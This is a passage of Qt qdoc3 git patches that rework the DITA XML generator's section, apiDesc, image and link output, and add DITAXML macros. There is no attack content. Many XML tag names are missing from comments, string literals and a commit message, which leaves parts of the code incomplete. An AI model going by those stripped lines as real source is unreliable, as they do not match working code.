beyond the end points and return to the end point, - acting similar to a boomerang. - - The \l{Easing Curves Example} contains samples of QEasingCurve types and lets you change the curve settings. + The ability to set an amplitude, overshoot, or period depends on + the QEasingCurve type. Amplitude access is available to curves + that behave as springs such as elastic and bounce curves. Changing + the amplitude changes the height of the curve. Period access is + only available to elastic curves and setting a higher period slows + the rate of bounce. Only curves that have "boomerang" behaviors + such as the InBack, OutBack, InOutBack, and OutInBack have + overshoot settings. These curves will interpolate beyond the end + points and return to the end point, acting similar to a boomerang. + + The \l{Easing Curves Example} contains samples of QEasingCurve + types and lets you change the curve settings. */ diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 90b2f06..9c70cb5 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -60,6 +60,9 @@ QT_BEGIN_NAMESPACE #define COMMAND_VERSION Doc::alias("version") int DitaXmlGenerator::id = 0; +bool DitaXmlGenerator::inApiDesc = false; +bool DitaXmlGenerator::inSection = false; +bool DitaXmlGenerator::inDetailedDescription = false; #define cxxapi_d_xref Doc::alias("cxxapi-d-xref") #define cxxclass Doc::alias("cxxclass") @@ -623,7 +626,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, skipAhead = skipAtoms(atom, Atom::BriefRight); break; } - xmlWriter().writeStartElement(SHORTDESC); + if (inApiDesc) + xmlWriter().writeStartElement("p"); + else + xmlWriter().writeStartElement(SHORTDESC); if (relative->type() == Node::Property || relative->type() == Node::Variable) { QString str; @@ -655,7 +661,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::BriefRight: if (relative->type() != Node::Fake) { - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // or

    } break; case Atom::C: @@ -842,19 +848,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, generateAnnotatedList(fake, marker, groupMembersMap); } } - else if (atom->string() == "relatedinline") { - const FakeNode *fake = static_cast(relative); - if (fake && !fake->groupMembers().isEmpty()) { - // Reverse the list into the original scan order. - // Should be sorted. But on what? It may not be a - // regular class or page definition. - QList list; - foreach (const Node *node, fake->groupMembers()) - list.prepend(node); - foreach (const Node *node, list) - generateBody(node, marker); - } - } break; case Atom::SinceList: { @@ -1009,10 +1002,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, QString text; if (atom->next() != 0) text = atom->next()->string(); - if (atom->type() == Atom::Image) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","centerAlign"); - } if (fileName.isEmpty()) { xmlWriter().writeStartElement("font"); xmlWriter().writeAttribute("color","red"); @@ -1021,14 +1010,23 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); // } else { - xmlWriter().writeStartElement("img"); - xmlWriter().writeAttribute("src",protectEnc(fileName)); - if (!text.isEmpty()) - xmlWriter().writeAttribute("alt",protectEnc(text)); - xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("fig"); + xmlWriter().writeStartElement("image"); + xmlWriter().writeAttribute("href",protectEnc(fileName)); + if (atom->type() == Atom::InlineImage) + xmlWriter().writeAttribute("placement","inline"); + else { + xmlWriter().writeAttribute("placement","break"); + xmlWriter().writeAttribute("align","center"); + } + if (!text.isEmpty()) { + xmlWriter().writeStartElement("alt"); + xmlWriter().writeCharacters(protectEnc(text)); + xmlWriter().writeEndElement(); // + } + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } - if (atom->type() == Atom::Image) - xmlWriter().writeEndElement(); //

    } break; case Atom::ImageText: @@ -1221,7 +1219,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::ParaRight: endLink(); if (in_para) { - xmlWriter().writeEndElement(); // in_para = false; } break; @@ -1235,23 +1233,28 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeCharacters(atom->string()); break; case Atom::SectionLeft: - xmlWriter().writeStartElement("p"); + if (inSection || inApiDesc) { + inApiDesc = false; + xmlWriter().writeEndElement(); //
    or + } + inSection = true; + xmlWriter().writeStartElement("section"); writeGuidAttribute(Doc::canonicalTitle(Text::sectionHeading(atom).toString())); - xmlWriter().writeAttribute("outputclass","target"); - xmlWriter().writeCharacters(protectEnc(Text::sectionHeading(atom).toString())); - xmlWriter().writeEndElement(); //

    break; case Atom::SectionRight: - // nothing + if (inSection) { + inSection = false; + xmlWriter().writeEndElement(); //
    + } break; case Atom::SectionHeadingLeft: - xmlWriter().writeStartElement("p"); + xmlWriter().writeStartElement("title"); hx = "h" + QString::number(atom->string().toInt() + hOffset(relative)); xmlWriter().writeAttribute("outputclass",hx); inSectionHeading = true; break; case Atom::SectionHeadingRight: - xmlWriter().writeEndElement(); //

    (see case Atom::SectionHeadingLeft) + xmlWriter().writeEndElement(); // (see case Atom::SectionHeadingLeft) inSectionHeading = false; break; case Atom::SidebarLeft: @@ -1470,20 +1473,10 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark writeLocation(cn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); - if (!inner->doc().isEmpty()) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters("Detailed Description"); - xmlWriter().writeEndElement(); //

    - generateBody(inner, marker); - // generateAlsoList(inner, marker); - } - - xmlWriter().writeEndElement(); // - - // not included: ,
    , or + writeDetailSections(cn, marker, true, QString("Detailed Description")); + // zzz writeSections() gores here. + // not included: or xmlWriter().writeEndElement(); // @@ -1610,13 +1603,54 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); // } + else if (fake->subType() == Node::QmlClass) { + const QmlClassNode* qml_cn = static_cast(fake); + const ClassNode* cn = qml_cn->classNode(); + generateQmlInherits(qml_cn, marker); + generateQmlInstantiates(qml_cn, marker); + generateBrief(qml_cn, marker); + generateQmlInheritedBy(qml_cn, marker); + sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0); + s = sections.begin(); + while (s != sections.end()) { + writeTargetAndHeader((*s).name,protectEnc((*s).name),"h2"); + generateQmlSummary(*s,fake,marker); + ++s; + } + + writeDetailSections(fake, marker, false, QString("Detailed Description")); + + if (cn) + generateQmlText(cn->doc().body(), cn, marker, fake->name()); + + generateAlsoList(fake, marker); + //out() << "
    \n"; + + sections = marker->qmlSections(qml_cn,CodeMarker::Detailed,0); + s = sections.begin(); + while (s != sections.end()) { + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); //

    + NodeList::ConstIterator m = (*s).members.begin(); + while (m != (*s).members.end()) { + generateDetailedQmlMember(*m, fake, marker); + //out() << "
    \n"; + ++m; + } + ++s; + } + return; + } if (!fake->doc().isEmpty()) { xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { - writeTargetAndHeader("details","Detailed Description","h2"); + writeDetailSections(fake, marker, false, QString("Detailed Description")); } - generateBody(fake, marker); + else + writeDetailSections(fake, marker, false, QString()); generateAlsoList(fake, marker); if (!fake->groupMembers().isEmpty()) { @@ -1649,44 +1683,6 @@ zzz marker); - else if (fake->subType() == Node::QmlClass) { - const QmlClassNode* qml_cn = static_cast(fake); - const ClassNode* cn = qml_cn->classNode(); - generateQmlInherits(qml_cn, marker); - generateQmlInstantiates(qml_cn, marker); - generateBrief(qml_cn, marker); - generateQmlInheritedBy(qml_cn, marker); - sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0); - s = sections.begin(); - while (s != sections.end()) { - out() << "\n"; - out() << "

    " << protectEnc((*s).name) << "

    \n"; - generateQmlSummary(*s,fake,marker); - ++s; - } - - out() << "\n"; - out() << "

    " << "Detailed Description" << "

    \n"; - generateBody(fake, marker); - if (cn) - generateQmlText(cn->doc().body(), cn, marker, fake->name()); - generateAlsoList(fake, marker); - out() << "
    \n"; - - sections = marker->qmlSections(qml_cn,CodeMarker::Detailed,0); - s = sections.begin(); - while (s != sections.end()) { - out() << "

    " << protectEnc((*s).name) << "

    \n"; - NodeList::ConstIterator m = (*s).members.begin(); - while (m != (*s).members.end()) { - generateDetailedQmlMember(*m, fake, marker); - out() << "
    \n"; - ++m; - } - ++s; - } - return; - } #endif #if 0 @@ -1880,7 +1876,7 @@ void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) outputclass = "externalpage"; break; case Node::QmlClass: - outputclass = "QML"; + outputclass = "QML-class"; break; default: outputclass = "page"; @@ -1889,7 +1885,6 @@ void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) xmlWriter().writeDTD(doctype); xmlWriter().writeComment(node->doc().location().fileName()); - xmlWriter().writeStartElement(mainElement); xmlWriter().writeAttribute("id",node->guid()); if (!outputclass.isEmpty()) @@ -2180,7 +2175,13 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, QString title = "List of All Members for " + inner->name(); generateHeader(inner, title); xmlWriter().writeStartElement("body"); - generateTitle(title, Text(), SmallSubTitle, inner, marker); + xmlWriter().writeStartElement("section"); + if (!title.isEmpty()) { + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass", "h1"); + xmlWriter().writeCharacters(protectEnc(title)); + xmlWriter().writeEndElement(); // + } xmlWriter().writeStartElement("p"); xmlWriter().writeCharacters("This is the complete list of members for "); generateFullName(inner, 0, marker); @@ -2189,6 +2190,7 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, Section section = sections.first(); generateSection(section.members, 0, marker, CodeMarker::SeparateList); + xmlWriter().writeEndElement(); //
    xmlWriter().writeEndElement(); // endSubPage(); return fileName; @@ -2219,52 +2221,64 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, title = "Obsolete Members for " + inner->name(); fileName = fileBase(inner) + "-obsolete." + fileExtension(inner); } - beginSubPage(inner->location(), fileName); generateHeader(inner, title); xmlWriter().writeStartElement("body"); - generateTitle(title, Text(), SmallSubTitle, inner, marker); + xmlWriter().writeStartElement("section"); + if (!title.isEmpty()) { + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass", "h1"); + xmlWriter().writeCharacters(protectEnc(title)); + xmlWriter().writeEndElement(); // + } + xmlWriter().writeStartElement("p"); if (status == CodeMarker::Compat) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeCharacters("

    The following class members are part of the " - "Qt 3 support layer." - " They are provided to help you port old code to Qt 4. " + xmlWriter().writeStartElement("b"); + xmlWriter().writeCharacters("The following class members are part of the "); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href","qt3support.html"); + xmlWriter().writeCharacters("Qt 3 support layer"); + xmlWriter().writeEndElement(); // + xmlWriter().writeCharacters("."); + xmlWriter().writeEndElement(); // + xmlWriter().writeCharacters(" They are provided to help you port old code to Qt 4. " "We advise against using them in new code."); - xmlWriter().writeEndElement(); //

    } else { - xmlWriter().writeStartElement("p"); - xmlWriter().writeCharacters("The following class members are obsolete. " - "They are provided to keep old source code working. " + xmlWriter().writeStartElement("b"); + xmlWriter().writeCharacters("The following class members are obsolete."); + xmlWriter().writeEndElement(); // + xmlWriter().writeCharacters("They are provided to keep old source code working. " "We strongly advise against using them in new code."); - xmlWriter().writeEndElement(); //

    } + xmlWriter().writeEndElement(); //

    xmlWriter().writeStartElement("p"); xmlWriter().writeStartElement("ul"); QString text = protectEnc(inner->name()) + " class reference"; writeXrefListItem(linkForNode(inner,0),text); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); //
    for (i = 0; i < sections.size(); ++i) { - xmlWriter().writeStartElement("p"); + xmlWriter().writeStartElement("section"); xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeStartElement("title"); xmlWriter().writeCharacters(protectEnc(sections.at(i).name)); - xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); // generateSection(sections.at(i).members, inner, marker, CodeMarker::Summary); generateSectionInheritedList(sections.at(i), inner, marker); + xmlWriter().writeEndElement(); //
    } sections = marker->sections(inner, CodeMarker::Detailed, status); for (i = 0; i < sections.size(); ++i) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","separator"); - xmlWriter().writeEndElement(); //

    - xmlWriter().writeStartElement("p"); + xmlWriter().writeStartElement("section"); + xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); xmlWriter().writeCharacters(protectEnc(sections.at(i).name)); - xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); // NodeList::ConstIterator m = sections.at(i).members.begin(); while (m != sections.at(i).members.end()) { @@ -2273,6 +2287,7 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, } ++m; } + xmlWriter().writeEndElement(); //
    } xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // @@ -3511,7 +3526,6 @@ void DitaXmlGenerator::generateDetailedMember(const Node* node, xmlWriter().writeStartElement("p"); writeGuidAttribute(refForNode(node)); xmlWriter().writeAttribute("outputclass","h3 flags"); - xmlWriter().writeCharacters(refForNode(node)); marked = getMarkedUpSynopsis(en, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); xmlWriter().writeCharacters("\n"); @@ -3523,7 +3537,6 @@ void DitaXmlGenerator::generateDetailedMember(const Node* node, xmlWriter().writeStartElement("p"); writeGuidAttribute(refForNode(node)); xmlWriter().writeAttribute("outputclass","h3 fn"); - xmlWriter().writeCharacters(refForNode(node)); marked = getMarkedUpSynopsis(node, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); xmlWriter().writeEndElement(); //

    @@ -4139,12 +4152,11 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node* node, } /*! - zzz Output the "Inherits" line for the QML element, if there should be one. */ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, - CodeMarker* marker) + CodeMarker* marker) { if (cn && !cn->links().empty()) { if (cn->links().contains(Node::InheritsLink)) { @@ -4154,7 +4166,8 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, const Node* n = myTree->findNode(strList,Node::Fake); if (n && n->subType() == Node::QmlClass) { const QmlClassNode* qcn = static_cast(n); - out() << "

    "; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","centerAlign"); Text text; text << "[Inherits "; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn)); @@ -4163,7 +4176,7 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK); text << "]"; generateText(text, cn, marker); - out() << "

    "; + xmlWriter().writeEndElement(); //

    } } } @@ -4174,7 +4187,7 @@ void DitaXmlGenerator::generateQmlInherits(const QmlClassNode* cn, if it is inherited by any other elements. */ void DitaXmlGenerator::generateQmlInheritedBy(const QmlClassNode* cn, - CodeMarker* marker) + CodeMarker* marker) { if (cn) { NodeList subs; @@ -4190,7 +4203,6 @@ void DitaXmlGenerator::generateQmlInheritedBy(const QmlClassNode* cn, } /*! - zzz text Output the "[Xxx instantiates the C++ class QmlGraphicsXxx]" line for the QML element, if there should be one. @@ -4198,7 +4210,7 @@ void DitaXmlGenerator::generateQmlInheritedBy(const QmlClassNode* cn, is set to Node::Internal, do nothing. */ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, - CodeMarker* marker) + CodeMarker* marker) { const ClassNode* cn = qcn->classNode(); if (cn && (cn->status() != Node::Internal)) { @@ -4222,7 +4234,6 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, } /*! - zzz text Output the "[QmlGraphicsXxx is instantiated by QML element Xxx]" line for the class, if there should be one. @@ -4500,16 +4511,11 @@ void DitaXmlGenerator::writeFunctions(const Section& s, writeParameters(fn,marker); writeLocation(fn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); - - if (!fn->doc().isEmpty()) { - generateBody(fn, marker); - // generateAlsoList(inner, marker); - } - xmlWriter().writeEndElement(); // + writeDetailSections(fn, marker, true, QString()); + // generateAlsoList(inner, marker); - // not included: ,
    , or + // not included: or xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // @@ -4661,15 +4667,10 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, writeLocation(en); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); - - if (!en->doc().isEmpty()) { - generateBody(en, marker); - } - xmlWriter().writeEndElement(); // + writeDetailSections(en, marker, true, QString()); - // not included: ,
    , or + // not included: or xmlWriter().writeEndElement(); // @@ -4726,15 +4727,10 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, writeLocation(tn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); - - if (!tn->doc().isEmpty()) { - generateBody(tn, marker); - } - xmlWriter().writeEndElement(); // + writeDetailSections(tn, marker, true, QString()); - // not included: ,
    , or + // not included: or xmlWriter().writeEndElement(); // @@ -4842,15 +4838,10 @@ void DitaXmlGenerator::writeProperties(const Section& s, writeLocation(pn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); - if (!pn->doc().isEmpty()) { - generateBody(pn, marker); - } - - xmlWriter().writeEndElement(); // - - // not included: ,
    , or + writeDetailSections(pn, marker, true, QString()); + + // not included: or xmlWriter().writeEndElement(); // @@ -4929,15 +4920,10 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, writeLocation(vn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); - - if (!vn->doc().isEmpty()) { - generateBody(vn, marker); - } - xmlWriter().writeEndElement(); // + writeDetailSections(vn, marker, true, QString()); - // not included: ,
    , + // not included: or xmlWriter().writeEndElement(); // @@ -5028,15 +5014,10 @@ void DitaXmlGenerator::writeMacros(const Section& s, writeLocation(fn); xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement(APIDESC); - - if (!fn->doc().isEmpty()) { - generateBody(fn, marker); - } - xmlWriter().writeEndElement(); // + writeDetailSections(fn, marker, true, QString()); - // not included: ,
    , or + // not included: or xmlWriter().writeEndElement(); // @@ -5109,6 +5090,55 @@ QXmlStreamWriter& DitaXmlGenerator::xmlWriter() return *xmlWriterStack.top(); } +/*! + Writes the \e {Detailed Description} section(s) for \a node + to the current XML stream using the code \a marker. if the + \a apiDesc flag is true, then the first section of the + sequence of sections written will be an \c {apiDesc>} + element with a \e {spectitle} attribute of \e {Detailed + Description}. Otherwise, the first section will be a + \c {
    } element with a \c {} element of + \e {Detailed Description}. This function calls the + Generator::generateBody() function to write the XML for + the section list. + */ +void DitaXmlGenerator::writeDetailSections(const Node* node, + CodeMarker* marker, + bool apiDesc, + const QString& title) +{ + if (!node->doc().isEmpty()) { + inDetailedDescription = true; + if (apiDesc) { + inApiDesc = true; + xmlWriter().writeStartElement(APIDESC); + xmlWriter().writeAttribute("id",node->guid()); + if (!title.isEmpty()) + xmlWriter().writeAttribute("spectitle",title); + } + else { + inSection = true; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("id",node->guid()); + if (!title.isEmpty()) { + xmlWriter().writeStartElement("title"); + xmlWriter().writeCharacters(title); + xmlWriter().writeEndElement(); // + } + } + generateBody(node, marker); + if (inApiDesc) { + xmlWriter().writeEndElement(); // + inApiDesc = false; + } + else if (inSection) { + xmlWriter().writeEndElement(); //
    + inSection = false; + } + } + inDetailedDescription = false; +} + QT_END_NAMESPACE #ifdef TO_BE_INCLUDED_IN_API_DESC diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index bd78e93..35c49ae 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -263,6 +263,10 @@ class DitaXmlGenerator : public PageGenerator virtual void beginSubPage(const Location& location, const QString& fileName); virtual void endSubPage(); QXmlStreamWriter& xmlWriter(); + void writeDetailSections(const Node* node, + CodeMarker* marker, + bool apiDesc, + const QString& title); private: QMap refMap; @@ -315,6 +319,9 @@ class DitaXmlGenerator : public PageGenerator NewClassMaps newClassMaps; NewClassMaps newQmlClassMaps; static int id; + static bool inApiDesc; + static bool inSection; + static bool inDetailedDescription; QStack xmlWriterStack; }; diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 5bd5156..1a41399 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -327,6 +327,7 @@ bool Generator::generateText(const Text& text, const Node *relative, CodeMarker *marker) { + bool result = false; if (text.firstAtom() != 0) { int numAtoms = 0; startText(relative, marker); @@ -336,9 +337,9 @@ bool Generator::generateText(const Text& text, true, numAtoms); endText(relative, marker); - return true; + result = true; } - return false; + return result; } #ifdef QDOC_QML @@ -352,24 +353,26 @@ bool Generator::generateQmlText(const Text& text, const QString& /* qmlName */ ) { const Atom* atom = text.firstAtom(); - if (atom == 0) - return false; + bool result = false; - startText(relative, marker); - while (atom) { - if (atom->type() != Atom::QmlText) - atom = atom->next(); - else { - atom = atom->next(); - while (atom && (atom->type() != Atom::EndQmlText)) { - int n = 1 + generateAtom(atom, relative, marker); - while (n-- > 0) - atom = atom->next(); + if (atom != 0) { + startText(relative, marker); + while (atom) { + if (atom->type() != Atom::QmlText) + atom = atom->next(); + else { + atom = atom->next(); + while (atom && (atom->type() != Atom::EndQmlText)) { + int n = 1 + generateAtom(atom, relative, marker); + while (n-- > 0) + atom = atom->next(); + } } } + endText(relative, marker); + result = true; } - endText(relative, marker); - return true; + return result; } #endif @@ -377,14 +380,7 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) { bool quiet = false; - if (node->type() == Node::Function) { -#if 0 - const FunctionNode *func = (const FunctionNode *) node; - if (func->isOverload() && func->metaness() != FunctionNode::Ctor) - generateOverload(node, marker); -#endif - } - else if (node->type() == Node::Fake) { + if (node->type() == Node::Fake) { const FakeNode *fake = static_cast(node); if (fake->subType() == Node::Example) { generateExampleFiles(fake, marker); @@ -501,18 +497,16 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) ++a; } } -/* Something like this return value check should be implemented at some point. */ + /* + Something like this return value check should + be implemented at some point. + */ if (func->status() > Node::Obsolete && func->returnType() == "bool" && func->reimplementedFrom() == 0 && !func->isOverload()) { QString body = func->doc().body().toString(); if (!body.contains("return", Qt::CaseInsensitive)) node->doc().location().warning(tr("Undocumented return value")); } -#if 0 - // Now we put this at the top, before the other text. - if (func->reimplementedFrom() != 0) - generateReimplementedFrom(func, marker); -#endif } } @@ -1091,20 +1085,6 @@ void Generator::generateSince(const Node *node, CodeMarker *marker) } } -/*! - No longer in use. - */ -void Generator::generateOverload(const Node *node, CodeMarker *marker) -{ - Text text; - text << Atom::ParaLeft - << "This function overloads "; - QString t = node->name() + "()"; - text << Atom::AutoLink << t - << Atom::ParaRight; - generateText(text, node, marker); -} - void Generator::generateReimplementedFrom(const FunctionNode *func, CodeMarker *marker) { @@ -1153,8 +1133,8 @@ const Atom *Generator::generateAtomList(const Atom *atom, if (atom->type() == Atom::FormatEndif) { if (generate && numAtoms0 == numAtoms) { - relative->location().warning(tr("Output format %1 not handled") - .arg(format())); + relative->location().warning(tr("Output format %1 not handled %2") + .arg(format()).arg(outFileName())); Atom unhandledFormatAtom(Atom::UnhandledFormat, format()); generateAtomList(&unhandledFormatAtom, relative, diff --git a/tools/qdoc3/generator.h b/tools/qdoc3/generator.h index 326a247..bccfc5d 100644 --- a/tools/qdoc3/generator.h +++ b/tools/qdoc3/generator.h @@ -130,6 +130,8 @@ class Generator const Node *relative, CodeMarker *marker) const; + virtual QString outFileName() { return QString(); } + const QString& outputDir() { return outDir; } QString indent(int level, const QString& markedCode); QString plainCode(const QString& markedCode); @@ -148,7 +150,6 @@ class Generator static void supplementAlsoList(const Node *node, QList &alsoList); private: - void generateOverload(const Node *node, CodeMarker *marker); void generateReimplementedFrom(const FunctionNode *func, CodeMarker *marker); void appendFullName(Text& text, diff --git a/tools/qdoc3/test/qt-ditaxml.qdocconf b/tools/qdoc3/test/qt-ditaxml.qdocconf index 66f30e3..63baead 100644 --- a/tools/qdoc3/test/qt-ditaxml.qdocconf +++ b/tools/qdoc3/test/qt-ditaxml.qdocconf @@ -9,3 +9,34 @@ outputformats = DITAXML generateindex = true url = . +macro.aacute.DITAXML = "á" +macro.Aring.DITAXML = "Å" +macro.aring.DITAXML = "å" +macro.Auml.DITAXML = "Ä" +macro.author = "\\bold{Author:}" +macro.br.DITAXML = " " +macro.BR.DITAXML = " " +macro.copyright.DITAXML = "©" +macro.eacute.DITAXML = "é" +macro.gui = "\\bold" +macro.hr.DITAXML = "
    " +macro.iacute.DITAXML = "í" +macro.key = "\\bold" +macro.menu = "\\bold" +macro.note = "\\bold{Note:}" +macro.oslash.DITAXML = "ø" +macro.ouml.DITAXML = "ö" +macro.QA = "\\e{Qt Assistant}" +macro.QD = "\\e{Qt Designer}" +macro.QL = "\\e{Qt Linguist}" +macro.QQV = "\\e{Qt QML Viewer}" +macro.param = "\\e" +macro.raisedaster.DITAXML = "*" +macro.rarrow.DITAXML = "→" +macro.reg.DITAXML = "®" +macro.return = "Returns" +macro.starslash = "\\c{*/}" +macro.begincomment = "\\c{/*}" +macro.endcomment = "\\c{*/}" +macro.uuml.DITAXML = "ü" +macro.mdash.DITAXML = "—" -- cgit v0.12 From 839938e86dd22601b679c5f33606830850d6df81 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 20 Sep 2010 14:40:42 +0200 Subject: qdoc: DITA XML generator now avoids escaping elements. Still escapes and , for example. --- tools/qdoc3/ditaxmlgenerator.cpp | 191 +++++++++++++++++---------------------- tools/qdoc3/ditaxmlgenerator.h | 1 + 2 files changed, 84 insertions(+), 108 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 9c70cb5..0170644 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -358,19 +358,21 @@ QString DitaXmlGenerator::sinceTitles[] = static bool showBrokenLinks = false; -static void addLink(const QString &linkTarget, - const QStringRef &nestedStuff, - QString *res) +/*! + Appends an element to the current XML stream + with the \a href attribute and the \a text. + */ +void DitaXmlGenerator::addLink(const QString& href, + const QStringRef& text) { - if (!linkTarget.isEmpty()) { - *res += ""; - *res += nestedStuff; - *res += ""; + if (!href.isEmpty()) { + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href", href); + xmlWriter().writeCharacters(text.toString()); + xmlWriter().writeEndElement(); // } else { - *res += nestedStuff; + xmlWriter().writeCharacters(text.toString()); } } @@ -2240,14 +2242,14 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, xmlWriter().writeAttribute("href","qt3support.html"); xmlWriter().writeCharacters("Qt 3 support layer"); xmlWriter().writeEndElement(); // - xmlWriter().writeCharacters("."); + xmlWriter().writeCharacters(". "); xmlWriter().writeEndElement(); // - xmlWriter().writeCharacters(" They are provided to help you port old code to Qt 4. " + xmlWriter().writeCharacters("They are provided to help you port old code to Qt 4. " "We advise against using them in new code."); } else { xmlWriter().writeStartElement("b"); - xmlWriter().writeCharacters("The following class members are obsolete."); + xmlWriter().writeCharacters("The following class members are obsolete. "); xmlWriter().writeEndElement(); // xmlWriter().writeCharacters("They are provided to keep old source code working. " "We strongly advise against using them in new code."); @@ -3050,101 +3052,20 @@ void DitaXmlGenerator::writeText(const QString& markedCode, const QChar charLangle = '<'; const QChar charAt = '@'; - // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*()" - static const QString linkTag("link"); - bool done = false; - for (int i = 0, n = src.size(); i < n;) { - if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') { - if (nameAlignment && !done) {// && (i != 0)) Why was this here? - if (!html.isEmpty()) { - xmlWriter().writeCharacters(html); - html.clear(); - } - xmlWriter().writeEndElement(); // - xmlWriter().writeStartElement("entry"); - xmlWriter().writeAttribute("outputclass=","memItemRight bottomAlign"); - done = true; - } - i += 2; - if (parseArg(src, linkTag, &i, n, &arg, &par1)) { - html += ""; - QString link = linkForNode( - CodeMarker::nodeForString(par1.toString()), relative); - addLink(link, arg, &html); - html += ""; - } - else { - html += charLangle; - html += charAt; - } - } - else { - html += src.at(i++); - } - } - - // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)()" tags - src = html; - html = QString(); - static const QString typeTags[] = { "type", "headerfile", "func" }; - for (int i = 0, n = src.size(); i < n;) { - if (src.at(i) == charLangle && src.at(i + 1) == charAt) { - i += 2; - bool handled = false; - for (int k = 0; k != 3; ++k) { - if (parseArg(src, typeTags[k], &i, n, &arg, &par1)) { - par1 = QStringRef(); - QString link = linkForNode( - marker->resolveTarget(arg.toString(), myTree, relative), - relative); - addLink(link, arg, &html); - handled = true; - break; - } - } - if (!handled) { - html += charLangle; - html += charAt; - } - } - else { - html += src.at(i++); - } - } - - // replace all - // "<@comment>" -> ""; - // "<@preprocessor>" -> ""; - // "<@string>" -> ""; - // "<@char>" -> ""; - // "" -> "" - src = html; - html = QString(); + /* + First strip out all the extraneous markup. The table + below contains the markup we want to keep. Everything + else that begins with "<@" or "", "", - "<@preprocessor>", "", - "<@string>", "", - "<@char>", "", - "", "", - "","", - "", "", - "", "" - // "<@char>", "", - // "", "", - // "<@func>", "", - // "", "", - // "<@id>", "", - // "", "", - // "<@keyword>", "", - // "", "", - // "<@number>", "", - // "", "", - // "<@op>", "", - // "", "", - // "<@param>", "", - // "", "", - // "<@string>", "", - // "", "", + "<@link ", "<@link ", + "<@type>", 